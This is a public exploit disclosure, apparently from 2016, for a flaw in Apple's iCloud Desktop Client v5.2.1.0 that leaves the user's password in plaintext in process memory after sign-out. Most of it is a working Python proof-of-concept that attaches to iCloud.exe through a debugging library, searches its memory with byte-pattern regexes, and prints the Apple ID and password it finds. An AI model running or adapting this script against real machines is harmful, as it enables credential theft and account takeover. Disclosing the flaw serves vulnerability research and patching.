#####

# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign out Exploit

# Tested on Windows Windows 7 64bit, English

# Vendor Homepage @ https://www.apple.com/

# Product Homepage @ https://support.apple.com/en-us/HT204283

# Date 07/09/2016

# Bug Discovery by:

#

# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)

# http://www.black-rose.ml

#

# Viktor Minin (https://www.linkedin.com/in/MininViktor)

# https://1-33-7.com/

#

# Alexander Korznikov (https://www.linkedin.com/in/nopernik)

# http://korznikov.com/

#

#####

# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.

# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.

# Funny eh?!

# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.

#

# Authors are not responsible for any misuse or demage which caused by use of this script code.

# Please use responsibly.

#####

# Proof-Of-Concept Code:

import re

import time

from winappdbg import Debug, Process

usr = ''

pwd = ''

found = 0

filename = "iCloud.exe"

process_pid = 0

memory_dump = []

debug = Debug()

try:

print "#########################################################################"

print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"

print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"

print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"

print "#\t\t\tPlease use responsibly.\t\t\t\t#"

print "#########################################################################\r\n"

print "[~] Searching for pid by process name '%s'.." % (filename)

time.sleep(1)

debug.system.scan_processes()

for (process, process_name) in debug.system.find_processes_by_filename(filename):

process_pid = process.get_pid()

if process_pid is not 0:

print "[+] Found process with pid #%d" % (process_pid)

time.sleep(1)

print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)

user_pattern = '\x61\x70\x70\x6C\x65\x49\x44\x3D([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)'

for address in process.search_regexp(user_pattern):

memory_dump.append(address)

usr = memory_dump[0][2].split('=')[1]

memory_dump = []

pass_pattern = '\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00[\x01-\x02][\x08-\x09]([A-Za-z0-9\!\@\#\$\%\^\&\*\(\)\_\+\{\}\:\"\|\<\>\?\[\]\;\'\,\.\\\/\=\-]){8,20}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for address in process.search_regexp(pass_pattern):

lproj = re.findall('([a-z]{2}\.lproj)|(apple-[a-z]{0,3})', address[2])

if not lproj:

cstr = re.sub(r'\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00[\x01-\x02][\x08-\x09]|\x00', '', address[2])

memory_dump.append(cstr)

pwd = memory_dump[6]

if usr != '' and pwd !='':

found = 1

print "[+] iCloud Credentials found!\r\n----------------------------------------"

print "[+] Username: %s" % usr

print "[+] Password: %s" % pwd

if found == 0:

print "[-] Credentials not found!"

else:

print "[-] No process found with name '%s'." % (filename)

debug.loop()

finally:

debug.stop()